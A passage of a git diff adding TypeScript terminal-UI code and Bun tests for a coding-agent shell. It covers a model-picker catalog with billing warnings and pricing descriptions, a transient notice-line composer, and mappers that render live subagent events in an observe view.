"kimi-k2.7-code" }], + favorites: [], + isGoModelOnZenPath: (model, provider) => + model === "kimi-k2.7-code" && provider.name === "zen", + }) + + const recent = list.find((r) => r.section === "recent") + expect(recent?.warning).toMatch(/Go model on Zen path/) + expect(recent?.label).not.toContain("Go model on Zen path") + + const goRow = list.find((r) => r.id === "opencode-go:kimi-k2.7-code") + expect(goRow?.warning).toBeUndefined() + }) + + test("attaches the real billing-product warning by default (no predicate injected)", () => { + const list = buildModelsFirstCatalog({ + providers: [zen], + recent: [{ provider: "zen", model: "kimi-k2.7-code" }], + favorites: [], + }) + + const row = list.find((r) => r.id === "zen:kimi-k2.7-code") + expect(row?.warning).toMatch(/Go model on Zen path/) + }) + + test("uses provider name as label when label is unset", () => { + const list = buildModelsFirstCatalog({ + providers: [{ name: "custom", models: ["m1"] }], + recent: [], + favorites: [], + }) + expect(list[0]?.label).toBe("custom / m1") + }) + + test("appends a not-connected connect row for each unconnected provider", () => { + const list = buildModelsFirstCatalog({ + providers: [xai], + recent: [], + favorites: [], + unconnected: [ + { name: "openai", label: "OpenAI", modelCount: 4, authKind: "key" }, + ], + }) + + const row = list.find((r) => r.section === "unconnected") + expect(row?.id).toBe(connectRowId("openai")) + expect(row?.label).toBe("OpenAI — connect →") + }) +}) + +describe("describeModelCatalogOption", () => { + test("describes an unconnected provider's connect row", () => { + const description = describeModelCatalogOption( + { id: connectRowId("openai"), label: "OpenAI — connect →", section: "unconnected" }, + { unconnected: [{ name: "openai", label: "OpenAI", modelCount: 4, authKind: "key" }] }, + ) + expect(description?.what).toMatch(/not set up yet/i) + expect(description?.impact).toMatch(/4 models become available/) + }) + + test("surfaces the Go-on-Zen billing warning as a consequence-toned impact, not the label", () => { + const description = describeModelCatalogOption( + { id: "zen:kimi-k2.7-code", label: "OpenCode Zen / kimi-k2.7-code", warning: "Go model on Zen path" }, + { pricing: null }, + ) + expect(description?.tone).toBe("consequence") + expect(description?.impact).toMatch(/Zen credits/) + }) + + test("reports pricing as unknown rather than inventing a number", () => { + const description = describeModelCatalogOption( + { id: "xai:grok-4", label: "xAI / grok-4" }, + { pricing: null }, + ) + expect(description?.impact).toMatch(/pricing unknown/i) + }) +}) diff --git a/src/tui-opentui/model-catalog.ts b/src/tui-opentui/model-catalog.ts new file mode 100644 index 000000000..0be91c472 --- /dev/null +++ b/src/tui-opentui/model-catalog.ts @@ -0,0 +1,319 @@ +/** + * Provider/model catalog → model picker options for OpenTUI product host. + * + * Pure: maps config.providers (record or array) into `{ id, label }[]` for + * openModelPickerOverlay / ProductHostConfig.models. Recent/favorites refs and + * the Go-on-Zen billing predicate are also plain data — callers own settings + * and config loading. + * + * Identity is `provider:model` (matches runner active-model string). + */ + +import { isGoModelOnZenPath as defaultIsGoModelOnZenPath } from "../provider/billing-product.js" +import { getActivePricingCache } from "../cost/cost-visibility.js" +import { lookupModelPricing, type PricingCache } from "../cost/pricing-fetcher.js" +import { contextWindowFor } from "../provider/context-window.js" +import { modelReasoningCapability } from "../provider/reasoning-effort.js" +import type { ItemDescription } from "./shell.js" + +export type ModelCatalogSection = "recent" | "favorites" | "provider" | "unconnected" + +/** Picker row — superset of ProductHostModelOption (`id`, `label`). */ +export type ModelCatalogOption = { + readonly id: string + readonly label: string + readonly section?: ModelCatalogSection + /** Cross-product billing warning (e.g. Go model on a Zen-billed path). */ + readonly warning?: string +} + +/** Array-shaped provider (ModelPickerProvider / catalog entry subset). */ +export type ModelCatalogProvider = { + readonly name: string + readonly models: readonly string[] + /** Display name for the provider bucket (falls back to `name`). */ + readonly label?: string + readonly baseURL?: string + readonly opencodeGo?: boolean +} + +/** settings.providers value subset — models list only. */ +export type ModelCatalogProviderSettings = { + readonly models?: readonly string[] + readonly name?: string + readonly label?: string + readonly baseURL?: string + readonly opencodeGo?: boolean +} + +/** provider+model identity — matches config/settings.js ModelRef. */ +export type ModelCatalogRef = { + readonly provider: string + readonly model: string +} + +export type ModelCatalogProvidersInput = + | readonly ModelCatalogProvider[] + | Readonly> + +/** + * Flatten providers into picker options. + * + * - Array: each `{ name, models, label? }` expands one row per model. + * - Record: keys are provider names; values supply `models` (+ optional label). + * + * Empty / missing model lists are skipped. Stable order: provider order then + * model order within each provider. Dedupes by id. + */ +export function buildModelCatalog( + providers: ModelCatalogProvidersInput, +): ModelCatalogOption[] { + const entries = normalizeProviders(providers) + const seen = new Set() + const out: ModelCatalogOption[] = [] + + for (const p of entries) { + const providerLabel = + p.label !== undefined && p.label.trim().length > 0 ? p.label.trim() : p.name + for (const model of p.models) { + const m = model.trim() + if (m.length === 0) continue + const id = modelOptionId(p.name, m) + if (seen.has(id)) continue + seen.add(id) + out.push({ + id, + label: `${providerLabel} / ${m}`, + }) + } + } + + return out +} + +/** Stable id for a provider+model pair (`provider:model`). */ +export function modelOptionId(provider: string, model: string): string { + return `${provider}:${model}` +} + +function normalizeProviders( + providers: ModelCatalogProvidersInput, +): ModelCatalogProvider[] { + if (Array.isArray(providers)) { + return providers + .filter((p) => typeof p.name === "string" && p.name.length > 0) + .map((p) => ({ + name: p.name, + models: p.models ?? [], + ...(p.label !== undefined ? { label: p.label } : {}), + ...(p.baseURL !== undefined ? { baseURL: p.baseURL } : {}), + ...(p.opencodeGo !== undefined ? { opencodeGo: p.opencodeGo } : {}), + })) + } + + const record = providers as Readonly> + return Object.entries(record).map(([name, settings]) => { + const label = settings.label ?? settings.name + return { + name, + models: settings.models ?? [], + ...(label !== undefined ? { label } : {}), + ...(settings.baseURL !== undefined ? { baseURL: settings.baseURL } : {}), + ...(settings.opencodeGo !== undefined ? { opencodeGo: settings.opencodeGo } : {}), + } + }) +} + +const GO_ON_ZEN_WARNING = "Go model on Zen path — billed as Zen credits" + +/** Default recent-section cap (mirrors config/settings.js DEFAULT_RECENT_MODELS_SHOWN). */ +const DEFAULT_RECENT_MAX = 5 + +/** Known-but-unconfigured provider, surfaced as a "connect →" row. */ +export type ModelCatalogUnconnectedProvider = { + readonly name: string + readonly label?: string + /** How many models become selectable once this provider is connected. */ + readonly modelCount: number + /** "key" prompts for an API key; "oauth" runs the authorize-link flow. */ + readonly authKind: "key" | "oauth" +} + +export type BuildModelsFirstCatalogArgs = { + readonly providers: ModelCatalogProvidersInput + readonly recent?: readonly ModelCatalogRef[] + readonly favorites?: readonly ModelCatalogRef[] + /** Max recent rows (default 5). */ + readonly recentMax?: number + /** + * When true for a model on a provider, attach a cross-product billing + * warning (Go model configured on a Zen-billed path). Defaults to the real + * billing-product detector; override in tests. + */ + readonly isGoModelOnZenPath?: (model: string, provider: ModelCatalogProvider) => boolean + /** Known providers with no stored credentials yet — rendered as "connect →" rows. */ + readonly unconnected?: readonly ModelCatalogUnconnectedProvider[] +} + +function providerLabelOf(p: ModelCatalogProvider): string { + return p.label !== undefined && p.label.trim().length > 0 ? p.label.trim() : p.name +} + +function findProviderWithModel( + entries: readonly ModelCatalogProvider[], + provider: string, + model: string, +): ModelCatalogProvider | undefined { + const p = entries.find((x) => x.name === provider) + if (p === undefined) return undefined + return p.models.includes(model) ? p : undefined +} + +/** + * Models-first picker rows: Recent (still-valid, capped) → Favorites (not + * already in Recent) → each provider's models in provider order (skipping + * pairs already listed). Identity is provider+model. + */ +export function buildModelsFirstCatalog( + args: BuildModelsFirstCatalogArgs, +): ModelCatalogOption[] { + const entries = normalizeProviders(args.providers) + const recentMax = args.recentMax ?? DEFAULT_RECENT_MAX + const isGoModelOnZenPath = args.isGoModelOnZenPath ?? defaultIsGoModelOnZenPath + const seen = new Set() + const out: ModelCatalogOption[] = [] + + const pushRow = ( + provider: ModelCatalogProvider, + model: string, + section: ModelCatalogSection, + ): boolean => { + const id = modelOptionId(provider.name, model) + if (seen.has(id)) return false + seen.add(id) + const warning = isGoModelOnZenPath(model, provider) ? GO_ON_ZEN_WARNING : undefined + const label = `${providerLabelOf(provider)} / ${model}` + out.push({ + id, + label, + section, + ...(warning !== undefined ? { warning } : {}), + }) + return true + } + + let recentCount = 0 + for (const ref of args.recent ?? []) { + if (recentCount >= recentMax) break + const provider = findProviderWithModel(entries, ref.provider, ref.model) + if (provider === undefined) continue + if (pushRow(provider, ref.model, "recent")) recentCount += 1 + } + + for (const ref of args.favorites ?? []) { + const provider = findProviderWithModel(entries, ref.provider, ref.model) + if (provider === undefined) continue + pushRow(provider, ref.model, "favorites") + } + + for (const provider of entries) { + for (const model of provider.models) { + const m = model.trim() + if (m.length === 0) continue + pushRow(provider, m, "provider") + } + } + + for (const provider of args.unconnected ?? []) { + const id = connectRowId(provider.name) + if (seen.has(id)) continue + seen.add(id) + const label = provider.label !== undefined && provider.label.trim().length > 0 + ? provider.label.trim() + : provider.name + out.push({ id, label: `${label} — connect →`, section: "unconnected" }) + } + + return out +} + +/** Stable id for an unconnected-provider "connect" row. */ +export function connectRowId(providerName: string): string { + return `connect:${providerName}` +} + +/** Provider name a connect-row id refers to, or null when `id` is not a connect row. */ +export function providerFromConnectRowId(id: string): string | null { + return id.startsWith("connect:") ? id.slice("connect:".length) : null +} + +function formatPrice(perToken: number): string { + const perMtok = perToken * 1_000_000 + return `$${perMtok % 1 === 0 ? perMtok.toFixed(0) : perMtok.toFixed(2)}` +} + +/** Rough per-Mtok multiplier over the "standard" $3 input tier, for decision-relevant framing. */ +const STANDARD_INPUT_PER_MTOK = 3 + +function pricingImpact(pricing: PricingCache | null, model: string): string { + const price = lookupModelPricing(pricing, model) + if (price === null) return "Pricing unknown for this model." + const inputPerMtok = price.inputPricePerToken * 1_000_000 + const ratio = inputPerMtok / STANDARD_INPUT_PER_MTOK + const ratioText = + ratio >= 1.5 + ? ` — roughly ${Math.round(ratio)}x the standard tier` + : ratio <= 0.67 + ? ` — a fraction of the standard tier` + : "" + return `${formatPrice(price.inputPricePerToken)} / ${formatPrice(price.outputPricePerToken)} per Mtok${ratioText}.` +} + +function whatLine(model: string): string { + const reasoning = modelReasoningCapability(model) + const context = contextWindowFor(model) + const contextText = context > 0 ? `${Math.round(context / 1000)}k context` : "context length unknown" + const tierText = reasoning === true ? "deep reasoning" : reasoning === false ? "standard tier" : "tier unknown" + return `${tierText}. ${contextText}.` +} + +/** + * Description-zone content for a picker row. `pricing` defaults to the live + * models.dev cache; override in tests. Unconnected "connect →" rows and rows + * with a billing warning override the plain what/impact pair. + */ +export function describeModelCatalogOption( + option: ModelCatalogOption, + args?: { + readonly pricing?: PricingCache | null + readonly unconnected?: readonly ModelCatalogUnconnectedProvider[] + }, +): ItemDescription | null { + const providerName = providerFromConnectRowId(option.id) + if (providerName !== null) { + const provider = (args?.unconnected ?? []).find((p) => p.name === providerName) + const count = provider?.modelCount ?? 0 + return { + what: "Not set up yet. Connecting asks for an API key and stores it in your global settings.", + impact: `${count} model${count === 1 ? "" : "s"} become available. Nothing is sent until you send a message.`, + tone: "plain", + } + } + + const model = option.id.slice(option.id.indexOf(":") + 1) + const pricing = args?.pricing !== undefined ? args.pricing : getActivePricingCache() + + if (option.warning !== undefined) { + return { + what: whatLine(model), + impact: "A Go model reached over the Zen path. Billed as Zen credits, not your Go subscription.", + tone: "consequence", + } + } + + return { + what: whatLine(model), + impact: pricingImpact(pricing, model), + tone: "plain", + } +} diff --git a/src/tui-opentui/notice-line.test.ts b/src/tui-opentui/notice-line.test.ts new file mode 100644 index 000000000..df44f37b7 --- /dev/null +++ b/src/tui-opentui/notice-line.test.ts @@ -0,0 +1,51 @@ +import { describe, expect, test } from "bun:test" + +import { composeNoticeLine, type NoticeState } from "./notice-line" + +const state = (over: Partial = {}): NoticeState => ({ + queue: 0, + interrupt: false, + pinned: false, + flash: null, + attachments: 0, + ...over, +}) + +describe("composeNoticeLine", () => { + test("an idle shell has nothing to say and takes no row", () => { + expect(composeNoticeLine(state())).toBe("") + }) + + + test("default state segments stay off the row", () => { + const line = composeNoticeLine(state({ queue: 0, pinned: false })) + expect(line).not.toContain("queue") + expect(line).not.toContain("pinned") + }) + + test("non-default state earns its place", () => { + const line = composeNoticeLine( + state({ queue: 2, pinned: true, interrupt: true, attachments: 1 }), + ) + expect(line).toContain("queue 2") + expect(line).toContain("pinned") + expect(line).toContain("interrupt") + expect(line).toContain("1 image") + }) + + test("a flash is carried verbatim so paths keep their case", () => { + expect(composeNoticeLine(state({ flash: "attached Screenshot.png" }))).toBe( + "attached Screenshot.png", + ) + }) + + test("no keys strip survives anywhere in the composition", () => { + const line = composeNoticeLine( + state({ queue: 1, interrupt: true }), + ) + expect(line).not.toContain("commands") + expect(line).not.toContain("files") + expect(line).not.toContain("^C") + }) +}) + diff --git a/src/tui-opentui/notice-line.ts b/src/tui-opentui/notice-line.ts new file mode 100644 index 000000000..eda8fa083 --- /dev/null +++ b/src/tui-opentui/notice-line.ts @@ -0,0 +1,49 @@ +/** + * The transient notice row. + * + * There is no permanent status strip: keys are discoverable from the landing + * screen and the command palette, and the prompt box's border already carries + * the model and the workspace. What is left is state that is only sometimes + * true — a queued message, a latched interrupt, a copy result, a live turn — + * and that gets a row only while it has something to say. When every segment + * is at its default the row composes to the empty string and the shell hides + * it, giving the row back to the transcript. + * + * A live turn contributes nothing here. The prompt border already carries the + * running state — the bottom-left slot swaps the wordmark for the live phase, + * and the meter beside it moves — so a ramp on this row was a second animation + * saying the same thing, one row above the first. + * + * Pure: no renderer access, so the wording is testable without a frame. + */ + +const SEP = " " + +export type NoticeState = { + readonly queue: number + readonly interrupt: boolean + /** Transcript scrolled off the tail (non-default follow state). */ + readonly pinned: boolean + /** Transient feedback (copy result, attach failure, exit arming). */ + readonly flash: string | null + readonly attachments: number +} + +/** + * Compose the transient row. An empty result means the row has nothing to say + * and the shell drops it. + */ +export function composeNoticeLine(state: NoticeState): string { + const segments: string[] = [] + if (state.queue > 0) segments.push(`queue ${state.queue}`) + if (state.pinned) segments.push("pinned") + if (state.interrupt) segments.push("interrupt") + if (state.attachments > 0) { + segments.push( + `${state.attachments} image${state.attachments === 1 ? "" : "s"}`, + ) + } + const flash = state.flash?.trim() ?? "" + if (flash.length > 0) segments.push(flash) + return segments.join(SEP) +} diff --git a/src/tui-opentui/observe-live.test.ts b/src/tui-opentui/observe-live.test.ts new file mode 100644 index 000000000..c5131dea7 --- /dev/null +++ b/src/tui-opentui/observe-live.test.ts @@ -0,0 +1,498 @@ +/** + * Level 2c — live subagent observe: host-pushed rows + parent restore. + * Pure child-event → StreamRow mappers live in observe-map (no renderer). + */ +import { describe, expect, test } from "bun:test" +import { focusOwner } from "./focus/index.js" +import { withTestRenderer } from "./harness.js" +import { + mapChildStreamEvent, + mapChildStreamSequence, + rowFromBridgeEvent, + rowsFromBridgeEventsCoalesced, +} from "./observe-map.js" +import type { ObserveSession } from "./residuals.js" +import type { StreamRow } from "./stream.js" +import { createStreamMapContext } from "./stream-event-map.js" +import { + appendObserveStreamRow, + appendStreamRow, + createAppShell, + enterSubagentObserve, + leaveSubagentObserve, + runPaletteAction, + setPaletteOnObserveRequest, +} from "./shell.js" + +function liveChildSession( + lines: readonly StreamRow[], + opts?: { readonly agentId?: string; readonly description?: string }, +): ObserveSession { + return { + sessionId: "live-child-1", + agentId: opts?.agentId ?? "explore", + description: opts?.description ?? "live map callers", + lines, + } +} + +describe("live subagent observe", () => { + test("enter accepts host live rows + agent label", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + appendStreamRow(shell, { role: "user", text: "parent before" }) + + const liveLines: StreamRow[] = [ + { role: "system", text: "— live child —" }, + { role: "assistant", text: "scanning repo…" }, + { role: "tool", text: "grep openListOverlay", meta: "tool" }, + ] + enterSubagentObserve( + shell, + liveChildSession(liveLines, { + agentId: "explore", + description: "map callers", + }), + ) + + expect(shell.observe?.sessionId).toBe("live-child-1") + expect(shell.observe?.agentId).toBe("explore") + expect(shell.observe?.description).toBe("map callers") + expect(focusOwner(shell.focus)).toBe("observe") + expect(shell.parentStreamLog).not.toBeNull() + expect( + shell.streamLog.some((r) => r.text === "scanning repo…"), + ).toBe(true) + expect( + shell.streamLog.some((r) => r.text.includes("Viewing explore")), + ).toBe(true) + // Parent row is not visible while observing. + expect( + shell.streamLog.some((r) => r.text === "parent before"), + ).toBe(false) + expect(shell.layout.heights.agents).toBeGreaterThan(0) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("host can append child stream events while observing", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + enterSubagentObserve( + shell, + liveChildSession([{ role: "system", text: "seed" }]), + ) + + const ok = appendObserveStreamRow(shell, { + role: "assistant", + text: "live delta from host", + }) + expect(ok).toBe(true) + expect( + shell.streamLog.some((r) => r.text === "live delta from host"), + ).toBe(true) + expect( + shell.observe?.lines.some((r) => r.text === "live delta from host"), + ).toBe(true) + + // Parent appends during observe stay on the snapshot, not the child view. + appendStreamRow(shell, { + role: "assistant", + text: "parent mid-observe", + }) + expect( + shell.streamLog.some((r) => r.text === "parent mid-observe"), + ).toBe(false) + expect( + shell.parentStreamLog?.some((r) => r.text === "parent mid-observe"), + ).toBe(true) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("leave restores parent transcript snapshot and focus lease", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + appendStreamRow(shell, { role: "user", text: "parent user line" }) + appendStreamRow(shell, { + role: "assistant", + text: "parent assistant line", + }) + const parentLen = shell.streamLog.length + + enterSubagentObserve( + shell, + liveChildSession([ + { role: "system", text: "child only" }, + { role: "assistant", text: "child work" }, + ]), + ) + appendObserveStreamRow(shell, { + role: "tool", + text: "child tool hit", + meta: "tool.done", + }) + appendStreamRow(shell, { + role: "system", + text: "parent while away", + }) + + leaveSubagentObserve(shell) + + expect(shell.observe).toBeNull() + expect(shell.parentStreamLog).toBeNull() + expect(focusOwner(shell.focus)).not.toBe("observe") + expect(shell.streamLog.length).toBeGreaterThanOrEqual(parentLen) + expect( + shell.streamLog.some((r) => r.text === "parent user line"), + ).toBe(true) + expect( + shell.streamLog.some((r) => r.text === "parent while away"), + ).toBe(true) + expect( + shell.streamLog.some((r) => r.text.includes("left observe")), + ).toBe(true) + // Child rows must not leak into the restored parent transcript. + expect( + shell.streamLog.some((r) => r.text === "child only"), + ).toBe(false) + expect( + shell.streamLog.some((r) => r.text === "child tool hit"), + ).toBe(false) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("appendObserveStreamRow is no-op when not observing", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + const before = shell.streamLog.length + const ok = appendObserveStreamRow(shell, { + role: "assistant", + text: "should not land", + }) + expect(ok).toBe(false) + expect(shell.streamLog.length).toBe(before) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Esc key leaves observe and restores parent", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + appendStreamRow(shell, { role: "user", text: "stay" }) + enterSubagentObserve( + shell, + liveChildSession([{ role: "system", text: "child" }]), + ) + expect(shell.observe).not.toBeNull() + + // ESC needs disambiguation delay on the mock stdin path. + h.pressKey("Escape") + await new Promise((r) => setTimeout(r, 60)) + await h.renderOnce() + + expect(shell.observe).toBeNull() + expect(shell.streamLog.some((r) => r.text === "stay")).toBe(true) + expect(focusOwner(shell.focus)).not.toBe("observe") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("host paints mapped child reactor events into observe view", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + const seed = mapChildStreamSequence([ + { + type: "message.received", + data: { message: { content: "child task" } }, + }, + { + type: "connector.reply", + data: { content: "child answer" }, + }, + ]) + enterSubagentObserve(shell, liveChildSession(seed)) + + const ctx = createStreamMapContext() + for (const row of mapChildStreamEvent( + { + type: "tool.done", + data: { + result: { + name: "grep", + content: "6 hits", + isError: false, + }, + }, + }, + ctx, + )) { + appendObserveStreamRow(shell, row) + } + + expect( + shell.streamLog.some((r) => r.text === "child task"), + ).toBe(true) + expect( + shell.streamLog.some((r) => r.text === "child answer"), + ).toBe(true) + expect( + shell.streamLog.some( + (r) => r.role === "tool" && r.text === "6 hits", + ), + ).toBe(true) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("palette observe action asks the host for a live session", () => { + test("uses the host-supplied session instead of the fixture", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + setPaletteOnObserveRequest(shell, () => + liveChildSession([{ role: "system", text: "host seed" }], { + agentId: "worker", + description: "host-supplied task", + }), + ) + + runPaletteAction(shell, "observe") + + expect(shell.observe?.sessionId).toBe("live-child-1") + expect(shell.observe?.agentId).toBe("worker") + expect( + shell.streamLog.some((r) => r.text === "host seed"), + ).toBe(true) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("reports no session available instead of entering observe", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + setPaletteOnObserveRequest(shell, () => null) + + runPaletteAction(shell, "observe") + + expect(shell.observe).toBeNull() + expect( + shell.streamLog.some((r) => + r.text.includes("no subagent session to observe"), + ), + ).toBe(true) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("falls back to the fixture when no host handler is set", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + run: "idle", + }) + try { + runPaletteAction(shell, "observe") + expect(shell.observe?.sessionId).toBe("child-1") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("observe pure mappers", () => { + test("rowFromBridgeEvent covers paint roles", () => { + expect(rowFromBridgeEvent({ type: "user", text: "u" })).toEqual({ + role: "user", + text: "u", + }) + expect(rowFromBridgeEvent({ type: "assistant", text: "a" })).toEqual({ + role: "assistant", + text: "a", + }) + expect( + rowFromBridgeEvent({ type: "tool_call", name: "bash", detail: "ls" }), + ).toEqual({ + role: "tool", + text: "ls", + meta: "bash", + verb: "Bash", + summary: "ls", + pending: true, + callKey: "bash Bash ls", + }) + expect( + rowFromBridgeEvent({ + type: "tool_result", + name: "bash", + detail: "out", + isError: true, + }), + ).toEqual({ role: "tool", text: "out", meta: "bash", failed: true }) + expect(rowFromBridgeEvent({ type: "system", text: "s" })).toEqual({ + role: "system", + text: "s", + }) + expect(rowFromBridgeEvent({ type: "error", message: "e" })).toEqual({ + role: "system", + text: "e", + meta: "error", + }) + expect(rowFromBridgeEvent({ type: "run", state: "busy" })).toBeNull() + expect(rowFromBridgeEvent({ type: "tool.boundary" })).toBeNull() + expect( + rowFromBridgeEvent({ type: "assistant.delta", text: "x" }), + ).toBeNull() + }) + + test("mapChildStreamEvent maps production reactor types", () => { + expect( + mapChildStreamEvent({ + type: "message.received", + data: { message: { content: "go" } }, + }), + ).toEqual([{ role: "user", text: "go" }]) + expect(mapChildStreamEvent({ type: "inference.start" })).toEqual([]) + expect( + mapChildStreamEvent({ + type: "inference.text.delta", + data: { token: "Hi" }, + }), + ).toEqual([]) + }) + + test("rowsFromBridgeEventsCoalesced folds assistant deltas", () => { + expect( + rowsFromBridgeEventsCoalesced([ + { type: "assistant.delta", text: "Hel" }, + { type: "assistant.delta", text: "lo" }, + { type: "tool_call", name: "read_file", detail: "a.ts" }, + { type: "assistant.delta", text: "done" }, + ]), + ).toEqual([ + { role: "assistant", text: "Hello" }, + { + role: "tool", + text: "a.ts", + meta: "read_file", + verb: "Read", + summary: "a.ts", + pending: true, + callKey: "read_file Read a.ts", + }, + { role: "assistant", text: "done" }, + ]) + }) + + test("mapChildStreamSequence tracks tool names across events", () => { + const rows = mapChildStreamSequence([ + { + type: "inference.tool_call.start", + data: { name: "grep", callId: "c1" }, + }, + { + type: "inference.tool_call.end", + data: { + name: "grep", + callId: "c1", + arguments: { q: "observe" }, + }, + }, + { + type: "tool.done", + data: { + result: { callId: "c1", content: "hits", isError: false }, + }, + }, + ]) + // The call and its answer are one row: the payload replaces the argument + // JSON on the row it opened, and no second row is appended. + expect(rows).toMatchObject([ + { + role: "tool", + text: "hits", + meta: "grep", + verb: "Grep", + summary: "observe", + }, + ]) + expect(rows.length).toBe(1) + }) +}) diff --git a/src/tui-opentui/observe-map.ts b/src/tui-opentui/observe-map.ts new file mode 100644 index 000000000..7d82f482f --- /dev/null +++ b/src/tui-opentui/observe-map.ts @@ -0,0 +1,167 @@ +/** + * Pure observe mappers — child stream / bridge events → StreamRow. + * + * Shell owns enter/leave + appendObserveStreamRow; hosts use these helpers to + * turn live child reactor events (or already-mapped bridge events) into rows + * before painting the observe view. No renderer deps. + */ + +import { toolCallRow } from "./diff.js" +import { toolResultRow } from "./mcp-view.js" +import { pushToolCall, pushToolResult } from "./tool-rows.js" +import type { StreamRow } from "./stream.js" +import { + createStreamMapContext, + mapProductionEvent, + type BridgeInboundEvent, + type ReactorLikeEvent, + type StreamMapContext, +} from "./stream-event-map.js" + +/** + * Map one canonical bridge inbound event to a paint row. + * Non-row events (run state, tool.boundary, assistant.delta) return null — + * callers coalesce deltas / apply run state themselves when needed. + */ +export function rowFromBridgeEvent(event: BridgeInboundEvent): StreamRow | null { + switch (event.type) { + case "user": + return { role: "user", text: event.text } + case "assistant": + return { role: "assistant", text: event.text } + case "tool_call": + return toolCallRow({ + name: event.name, + ...(event.detail !== undefined ? { arguments: event.detail } : {}), + }) + case "tool_result": + return toolResultRow({ + name: event.name, + content: event.detail ?? (event.isError ? "error" : "ok"), + isError: event.isError === true, + }) + case "system": + return { role: "system", text: event.text } + case "error": + return { role: "system", text: event.message, meta: "error" } + default: + return null + } +} + +/** + * Map zero or more bridge events to paint rows (filters nulls). + * Does not coalesce assistant.delta — those stay non-rows. + * + * Tool events are folded rather than mapped one-to-one: a call and its result + * are one row, and a repeat of a call collapses onto the row it repeats. + */ +export function rowsFromBridgeEvents( + events: readonly BridgeInboundEvent[], +): StreamRow[] { + const rows: StreamRow[] = [] + const attempt: AttemptBoundary = { at: null } + for (const event of events) { + pushBridgeEvent(rows, event, attempt) + } + return rows +} + +/** + * Row index where the inference attempt in progress began. A failed attempt is + * re-streamed from scratch, so its rows are retracted rather than appended to. + */ +type AttemptBoundary = { at: number | null } + +/** Fold one bridge event onto a row list, merging tool calls with their answers. */ +function pushBridgeEvent( + rows: StreamRow[], + event: BridgeInboundEvent, + attempt: AttemptBoundary = { at: null }, +): void { + if (event.type === "attempt") { + if (event.action === "mark") attempt.at = rows.length + else if (event.action === "clear") attempt.at = null + else { + if (attempt.at !== null && attempt.at < rows.length) { + rows.length = attempt.at + } + attempt.at = null + } + return + } + if (event.type === "tool_call") { + pushToolCall(rows, { + name: event.name, + ...(event.detail !== undefined ? { arguments: event.detail } : {}), + }) + return + } + if (event.type === "tool_result") { + pushToolResult(rows, { + name: event.name, + content: event.detail ?? (event.isError ? "error" : "ok"), + isError: event.isError === true, + }) + return + } + const row = rowFromBridgeEvent(event) + if (row) rows.push(row) +} + +/** + * Map one child reactor/stream event to zero or more StreamRows for observe. + * Pass a shared StreamMapContext across a live child session for tool-name + * fidelity (same as mapProductionEvent). + */ +export function mapChildStreamEvent( + event: ReactorLikeEvent, + ctx?: StreamMapContext, +): StreamRow[] { + return rowsFromBridgeEvents(mapProductionEvent(event, ctx)) +} + +/** + * Fold a sequence of child events through a shared map context into rows. + * Suitable for seeding observe from a retained child event log. + */ +export function mapChildStreamSequence( + events: readonly ReactorLikeEvent[], + ctx: StreamMapContext = createStreamMapContext(), +): StreamRow[] { + const rows: StreamRow[] = [] + const attempt: AttemptBoundary = { at: null } + for (const event of events) { + for (const mapped of mapProductionEvent(event, ctx)) { + pushBridgeEvent(rows, mapped, attempt) + } + } + return rows +} + +/** + * Coalesce assistant.delta tokens into a single assistant row when the + * sequence ends or a non-delta event arrives. Useful for pure seed paths + * that do not run the live bridge bag. + */ +export function rowsFromBridgeEventsCoalesced( + events: readonly BridgeInboundEvent[], +): StreamRow[] { + const rows: StreamRow[] = [] + let deltaBuf = "" + const flushDelta = (): void => { + if (deltaBuf.length === 0) return + rows.push({ role: "assistant", text: deltaBuf }) + deltaBuf = "" + } + for (const event of events) { + if (event.type === "assistant.delta") { + deltaBuf += event.text + continue + } + flushDelta() + pushBridgeEvent(rows, event) + } + flushDelta() + return rows +} diff --git a/src/tui-opentui/overlay-body.test.ts b/src/tui-opentui/overlay-body.test.ts new file mode 100644 index 000000000..e2ad9754f --- /dev/null +++ b/src/tui-opentui/overlay-body.test.ts @@ -0,0 +1,213 @@ +import { describe, expect, test } from "bun:test" + +import { withTestRenderer } from "./harness.js" +import { + composeDecisionBody, + decisionChoiceRows, + DECISION_ACTIVE_MARK, + DECISION_CHOICE_ROWS, + DECISION_DITHER, + wrapOverlayText, + wrapWords, +} from "./overlay-body.js" +import { createAppShell, openListOverlay } from "./shell.js" +import { UI } from "./theme.js" + +const WIDTHS = [72, 60, 48, 40, 24] as const + +const SENTENCE = + "The agent wants to run a destructive command on the working tree and this cannot be undone" + +const LONG_PATH = + "/Users/someone/abklabs/corbits-code/src/tui-opentui/geometry/margins.ts" + +const LONG_URL = + "https://registry.internal.example.com/artifactory/api/npm/npm-virtual/package" + +describe("wrapWords", () => { + for (const width of WIDTHS) { 